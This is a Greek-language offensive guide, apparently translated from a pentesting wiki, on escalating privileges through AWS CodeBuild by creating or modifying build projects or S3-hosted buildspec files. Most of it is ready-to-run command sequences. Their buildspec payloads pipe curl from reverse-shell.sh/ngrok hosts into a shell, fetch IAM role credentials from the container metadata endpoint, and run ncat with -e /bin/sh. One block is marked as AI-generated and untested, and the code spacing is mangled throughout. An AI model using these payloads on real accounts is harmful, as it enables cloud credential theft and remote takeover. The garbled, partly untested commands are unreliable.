Μόνο με μία από αυτές τις άδειες είναι αρκετό για να ενεργοποιήσετε μια κατασκευή με ένα νέο buildspec και να κλέψετε το token του iam ρόλου που έχει ανατεθεί στο έργο:
Ένας επιτιθέμενος με τα δικαιώματα iam:PassRole, codebuild:CreateProject, και codebuild:StartBuild ή codebuild:StartBuildBatch θα μπορούσε να ανεβάσει δικαιώματα σε οποιονδήποτε ρόλο IAM του codebuild δημιουργώντας έναν εκτελούμενο.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{\"name\": \"codebuild-demo-project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases:build:commands:- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileawscodebuildcreate-project--namereverse-shell-project--sourcetype=S3,location=<S3_BUCKET_NAME>/buildspec.yml--artifactstype=NO_ARTIFACTS--environmentcomputeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER--service-role<YOUR_HIGH_PRIVILEGE_ROLE_ARN>--timeout-in-minutes60# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιοδήποτε ρόλο AWS Codebuild.
Σε ένα Codebuild container το αρχείο /codebuild/output/tmp/env.sh περιέχει όλες τις env vars που χρειάζονται για να αποκτήσετε πρόσβαση στα metadata credentials.
Αυτό το αρχείο περιέχει την env μεταβλητή AWS_CONTAINER_CREDENTIALS_RELATIVE_URI η οποία περιέχει το URL path για να αποκτήσετε πρόσβαση στα credentials. Θα είναι κάτι σαν αυτό /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Προσθέστε το στο URL http://169.254.170.2/ και θα μπορέσετε να εξάγετε τα credentials του ρόλου.
Επιπλέον, περιέχει επίσης την env μεταβλητή ECS_CONTAINER_METADATA_URI η οποία περιέχει το πλήρες URL για να αποκτήσετε metadata info σχετικά με το container.
Ακριβώς όπως στην προηγούμενη ενότητα, αν αντί να δημιουργήσετε ένα build project μπορείτε να το τροποποιήσετε, μπορείτε να υποδείξετε τον IAM Ρόλο και να κλέψετε το token.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιονδήποτε ρόλο AWS Codebuild.
Όπως στην προηγούμενη ενότητα αλλά χωρίς την άδεια iam:PassRole, μπορείτε να εκμεταλλευτείτε αυτές τις άδειες για να τροποποιήσετε υπάρχοντα έργα Codebuild και να αποκτήσετε πρόσβαση στον ρόλο που έχουν ήδη ανατεθεί.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"project_name\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
Πιθανές Επιπτώσεις: Άμεση εκμετάλλευση δικαιωμάτων σε συνημμένους ρόλους AWS Codebuild.
SSM
Έχοντας αρκετά δικαιώματα για να ξεκινήσει μια συνεδρία ssm, είναι δυνατό να μπείτε μέσα σε ένα έργο Codebuild που κατασκευάζεται.
Το έργο codebuild θα πρέπει να έχει ένα σημείο διακοπής:
Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια κατασκευή ενός συγκεκριμένου έργου CodeBuild που αποθηκεύει το αρχείο buildspec.yml σε ένα S3 bucket στο οποίο ο επιτιθέμενος έχει δικαιώματα εγγραφής, μπορεί να αποκτήσει εκτέλεση εντολών στη διαδικασία CodeBuild.
Σημείωση: η κλιμάκωση είναι σχετική μόνο αν ο εργάτης CodeBuild έχει διαφορετικό ρόλο, ελπίζουμε πιο προνομιακό, από αυτόν του επιτιθέμενου.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
Μπορείτε να χρησιμοποιήσετε κάτι σαν αυτό το buildspec για να αποκτήσετε μια reverse shell:
Impact: Άμεση privesc στο ρόλο που χρησιμοποιείται από τον εργαζόμενο AWS CodeBuild που συνήθως έχει υψηλά προνόμια.
Σημειώστε ότι το buildspec θα μπορούσε να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαστεί να κατεβάσει, να αποσυμπιέσει, να τροποποιήσει το buildspec.yml από τον ριζικό κατάλογο, να το συμπιέσει ξανά και να το ανεβάσει.